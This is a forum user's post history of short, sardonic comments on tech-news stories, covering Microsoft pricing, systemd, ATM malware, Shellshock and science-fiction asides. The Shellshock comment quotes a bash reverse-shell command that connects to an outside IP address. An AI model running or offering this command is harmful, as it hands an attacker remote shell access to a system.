* Posts by Destroy All Monsters

16005 publicly visible posts • joined 3 Jun 2008

Pen-testers outline golden rules to make hacks more €xpen$ive

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Paris Hilton

Whitelisting!

SELinux, then?

It is a difficult beast and needs maintenance and package-level support.

But ... no Perl? I don't see this. This is like saying "no programs on this machine, so we are secure". Well, yes, but that's not the goal at all.

Want to break Netflix? It'll pay you to do the job

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Childcatcher

WTF LOL

A person who has

“Exceptional Java, C# or C++, object oriented design and programming skills”

but only

“Solid understanding of data structures, concurrency and algorithms.”

?

Yeah, I know those. "Code now, cry later (which someone else doing the crying)" people who are best kept away from the keyboard until they know what they are doing. Easy to find, problematic to kill reeducate.

Microsoft: Yeah, about that 50% post-Christmas customer price hike...

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Facepalm

Wow, such deal. Much service. Wow.

> "Office-Home-Premium-Subscription-Card is cheap at amazon.com!" (63.22 USD)

> Verboten for business

> Quite a bit more expensive where I can buy it (75.90 EUR)

> Renewal required every year, so actually a subscription coming in a cardboard box. Better renew soon.

> Output shall be in an opaque, patent-encumbered format. Enjoy your fail.

MFW

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Facepalm

Microshit astroturfer, please!

Try going to the SUSE and Redhat websites and looking - they are more expensive than equivalent Windows Server versions.

Yeah, as someone once said: "Do you think people would just go on the Internet and tell lies? Why would anyone do that?"

Your statement makes no fscking sense because Linux is a challenger not the king of the hill demanding tribute and every house's daughter for a test drive. So Linux packaging and support-providing outfits will be in the general ballpark of Microsoft pricing, thought a few hundred per year less.

According to Red Hat quite a few hundred per year less. I'm sure you can come up with better numbers, mister grassroots:

"Based on these numbers, the five-year cost of ownership for the proposed eight-server solution would be $47,960 for Red Hat Enterprise Linux and $119,594 for Microsoft Windows Server 2008 R2." etc. etc.

Pricing statements about "Linux is dear, oh dear" have a nasty tendency to come out of the Dungeon of Redmond exclusively and/or you can smell the money trail from a mile away (cough *Gartner* cough).

Course, getting the users to actually accept a system that looks dangerously hot-rodded at times is something else entirely.

Economics prof denies digital pirates plundered €20bn from EU coffers

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Trollface

Re: Freetardonomics

Don't mind if I do!

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Facepalm

Even their marketing shit is dumb

Without piracy, the value added and employment levels in the creative industries would have evolved in the same way, and at the same level, as the overall economy, claimed BASCAP.

So without piracy, the "creative" economy would have resembled a beautiful flower continually circling the toilet drain ... but it didn't?

PIRACY HELPS! PIRATIFY NOW!

Adobe spies on reading habits over unencrypted web because your 'privacy is important'

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Coat

Re: A bug? In Adobe Software? Impossibru!

Adobe said this shouldn't possible

...so they accidentally the whole software!

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Re: Somebody has gotta simplify that agreement

LAWYERS!

Windows 10 feedback: 'Microsoft, please do a deal with Google to use its browser'

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Mushroom

Re: My Fave Changes...

and then at the bottom of that screen is a tiny text link

The worst case of forced selling droidism comes in the mantle of reasonableness with tiny text links squirreled away in unexpected places. Or at the end of a stultefying meaningless EULA.

In a sane world, the person responsible would be dragged out of his/her cozy redmondian office then pitchforked with extreme prejudice.

Countless Belkin routers go TITSUP in massive mystery meltdown

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Paris Hilton

Re: STOP PRESS: Belkin staff unable to enter offices

I don't get it? Is this a reference to a PKD story?

Revealed: Malware that forces weak ATMs to spit out 'ALL THE CASH'

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Holmes

They do not steal. Your government prints up the money. Which means you get taxed through the backdorr.

> unlikely to ever recover from this theft.

Of course it will "recover" eventually. However, there is the little problem of a megamammut of unpayable "social promises" and debt to be absorbed first, which are only no problem in progressives' fantasies. Get ready.

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Holmes

Re: "32-bit Windows-powered ATM"

How does the juxtaposition of "Embedded" and "Windows" even make sense? It's like a wheelchair submarine.

absolutely nothing at all to do with Microsoft

Correct though. It has to do with a decision process that concludes that something from a company that writes consumer-grade desktop bloaty wobbly into a system that should be rather tamper-proof and minimalistic and manageable is actually a good fit.

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Devil

Re: Eh?

I guess you are missing Bad"Best-of-Breed" Practices and Use of Industry Standard Software.

this ensures the boss's money-collecting mules are unable to carry out the scam alone – they need help in converting the random numbers into unlock keys.

If that would happen in the open industry, you would get menaces from the union.

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Holmes

"32-bit Windows-powered ATM"

No further questions, your honour!

What's happened since Beijing's hacker unit was exposed? Nothing

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Windows

Why are these guys so GOOD?

In our company, people trip over phising scams, fall down stairways, cannot find the any key .... then they get a pay increase because it's the law ...

Official: Turing's Bombe better than a Concorde plane

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Re: @Peter Gathercole - HMS Belfast

If only we still had the technological drive and confidence those guys had back then!

I can do without the technological drive and confidence that leads to an armement race about who can wave the biggest willy on the ocean to make sure the colonies stay appreciative. No.

Inflatables in SPAAACE! ISS 'nauts to enjoy bouncy castle spaceship

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Re: if its bouncy

Only if they are really, really slow.

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Coat

Re: Future of space colonization...

by connecting it to the ISS...

Which will then become the International Space Inflatable Station, i.e. ISIS.

Oh God.

I hope Team America doesn't notice, otherwise it will be all over in a second via ASAT kill vehicle.

Nvidia's screaming new Maxwell GPUs bring 4K gaming to notebooks

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Re: What about the battery?

Just look for a triphase socket in the airport lounge.

Big racks? Pah. Storage boffins have made a BIONIC BRAIN material

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Melbourne Mechatronics and Mechanical Men

"Some of our problems" is good enough.

Just looking at the morning paper, the only solution to "all our problems" is HUGE METEOR.

AT&T fires insider for slurping customers' social security numbers, driver licenses and more

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Re: Bah!

Pull your $$$ from their control

You may be dismayed to find out that there frankly is not enough $$$ to do that.

Hiss-hiss! GIGANTIC SOLAR FILAMENT snakes around Sun

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Re: Are we doomed?

Yes.

'Conscious uncoupling' of HP 'Ink', HP Enterprise: It's the shareholders, stupid

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Getting psychotic yet?

Whitman has worked 18 hour days since taking the CEO’s office at HP

Just what.

Want the EU to work on making cloud snoop-proof? Speak up, my good 'stakeholder'

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Windows

Recipe #1

No software patents, ever and any that exist are retroactively declared null and void.

No wait, that was another problem, though there is undeniable linkage.

I like my government-granted monopolies in the morning.

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Holmes

Re: Just a few suggestions (@ AC)

The carrot is the right to sell cloud services in Europe, and it's a huge carrot, in my opinion.

The world does not work that way. That would be like the "right to set up a bank". A bank can make enormous profits due to a special status which allows it to socialize risk about lending out other people's money. Thus the incentive to set up a bank is very much higher than the incentive to set up a cloud service. Indeed, suddenly the cloud service is all about pain, maintenance and regulatory compliance (a shifting and uncertain set of requirements demanding risk management and bullshitting at the best of times)

There just will be less "cloud services" and those that exist will either be abroad (what's that? want to tell people to not use them? good luck to you, sir) or the persons in charge will just make sure people very near the Hubs Of Power have their back in case unfortunate questions arise. A recipe for cronyism and The Vatican Bank mirrored in the Cloud Domain.

Yahoo servers? SHELLSHOCKED? by Bash?

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Holmes

Re: Bash is Bollocks for security

Amazingly, a tool is being used as a tool.

Even in a "minimal system" the tools to do maintenance must still be available from time to time. Unless we are talking embedded.

Whether "Bash is Bollocks for security" is neither here nor there.

The error here consists in making the swiss army knife usable from outside. That is a combination of using shell scripts to process the "Agent" header and having that bash bug. The error does not consist in having the swiss army knife available in the first place.

"/bin/bash –i >&/dev/tcp/199.175.52.92/2221 0>&1" does not do a whole lot. Would it work with any other shell on a system which has nice features underneath /dev/tcp? I sure hope so.

Why use shell scripts to process that "Agent" header? Well, now, that is the REAL question. They should have been gotten rid of some time ago.

Linux systemd dev says open source is 'SICK', kernel community 'awful'

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Poettering, please!

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Holmes

Re: But I thought Linux was the dog's

this could be reasonable

In a sane world, you would develop an appropriate language to describe this kind of problem, then generate all your code from a short, correct description. Esterel maybe?

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Re: Hostile leadership vs hostile software

it's very broad adoption on the systems that could use them

Not an argument for the sanity of said solution.

Someone has to says "let's put this in, I suppose it's a good idea, people will get used to it". He may be wrong. Like with TIFKAM.

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Windows

Re: Systemd - the Init of the Beast

This is an unfortunate truth.

There are good ideas in that there systemd, but there are also a LOT of very bad ideas.

I guess trying to solve the messy traditional insecure, non-transactional-state, convention-based alignment of scripts and making possible "fast boots" on devices that are switched on and off often is worth it... but...

It has the smell of a Windows solution. Like the "Registry"

The first problem: WHY SO COMPLEX

The second problem: WHY SO BINARY

The third problem: WHY SO OPAQUE

Trying to understand what went wrong and why something isn't working feels like being at the end of a labyrinth, or at the end of having made an error in a git repository.

What happened to the Art of Unix Programming?

I have been sitting through a few days of my holiday trying to "get" systemd, to no avail.

Maybe it's me.

Maybe it's systemd.

It is too complex.

I want to deny it.

It is impossible to deny.

Maybe systemd v2 will be viable.

What is there now isn't.

Rise of the Machines: FIRST HUMAN VICTIM – 2015

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Crime as a Service?

Like, with telephone and stuff?

Far out!

Doctor Who becomes an illogical, unscientific, silly soap opera in Kill The Moon

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Re: The worst thing

Crazy slavic theories unmoored to reality:

Vasin-Shcherbakov Theory

"The Spaceship Moon Theory, also known as the Vasin-Shcherbakov Theory, is a hypothesis that claims the Earth's moon may actually be an alien spacecraft. The hypothesis was put forth by two members of the then Soviet Academy of Sciences, Michael Vasin and Alexander Shcherbakov, in a July 1970 article entitled "Is the Moon the Creation of Alien Intelligence?"

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Trollface

Re: use of the space shuttle

You would never have thought it would come to the point where Armageddon (1998) might be upheld as a vehicle to teach kids about Space Things?

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Holmes

Re: @Destroy All Monsters

The Moon doesn't shine, it only reflects (very badly, too), but still:

Back-of-envelope calculation:

1.3 kW/m² dumped on the moon by the sun.

Make it 2001-monolith black, all surface utilized...

1737km radius gives you are disk of a bit less than 10^13 m² to shine on.

So you can collect 1.3 x 10^16 W, which is nice.

According to E = m*c², this corresponds to 0.14 kg/s in case of perfect backconversion.

So you are really looking at a few billion of years full-out collection.

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Headmaster

> Basic energy-to-mass conversion can explain the mass increase.

I don't think "basic" means what you think it means.

You may want to explain where gigatons of pure energy come from without anyone noticing, so that they can be backconverted in the space hatchery.

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Call Gerry Anderson!

Moon Removals 'R Us!

What’s the KEYBOARD SHORTCUT for Delete?! Look in a contextual menu, fool!

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Re: Devolution?

THE PROCEDURE:

1) BEGIN

2) END

Any questions?

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Windows

Re: Where's the Spacebar?

The times at uni when the Beautiful Girls from Life Sciences Division finally couraged up and asked the Geek in the Corner whether he happen to know the office of the server?

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Bigger on the inside

The only time I came unstuck was when running the reports through the woeful Lotus GraphWriter, which applied its own fiercely dogmatic rounding logic, producing pie charts whose percentage-labelled slices invariably added up to 102 per cent.

A "House of Leaves" of IT, then? Don't open the submenus.

Why US Feds and g-men kick up a stink about a growing smartphone encryption trend

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Holmes

So the child abductor phones whom ... his counselor?

Seriously, the 90's are calling, they want their Clipper Chip debate back!

Politicians and Bureaucrats - if you don't abolish them they will come up with the same old stale brew OVER and OVER and OVER again.

The Maze Runner – a merry teenage dystopian adventure that doesn't make you cringe

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Paris Hilton

No comparison to The Cube?

Vanished blog posts? Enterprise gaps? Welcome to Windows 10

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Re: 2015 will be the year of Linux on the desktop.

I detect postmodernism in all its gory.

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Re: Windows 7 with a flat theme

What is this I don't even?

Worst. Comic. Book. Ever. Marvell's Chipman defeated by France in another patent battle

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Paris Hilton

Is it a fact that algorithmica and mathematics (i.e. true statements about invariants) still cannot be protected in the EU, so we see a Yuropean company making hay off this in the US, which indicates that said company would support the protection of such reified elements of discourse in the EU in a heartbeat?

EU blesses $19bn Facebook-Whatsapp marriage

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Paris Hilton

Re: Facebook? whatsapp?

Bubble-embiggened elephants mating?

MUOROROROR!!!!

Google ordered to tear down search results from its global dotcom by French court

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Paris Hilton

The global dotcom is .com.

Not really. This is a Verisign-administered TLD local to the US.

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Devil

Let them use Froggle

Companies should either obey the law, or get out of the region.

Cut French IP addresses off from Google search?

I support this.

POISON PI sniffs WiFi from your mail room, goes on rampage

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Re: Eh

Otherwise how does it communicate back to the Black Hat? Is he (for its always a he) sat outside in a car or at the starbucks across the road?

I suggest you look into ... a trained bucket brigade of WarKitteh, strategically positioned all over the town because your crazy prepared skills are crazy.

gendo_pose.jpg

One Windows? How does that work... and WTF is a Universal App?

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Headmaster

Re: where the fun really is

No. Go back to your cage!

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Re: Its been tried before

That was a pretty populist app.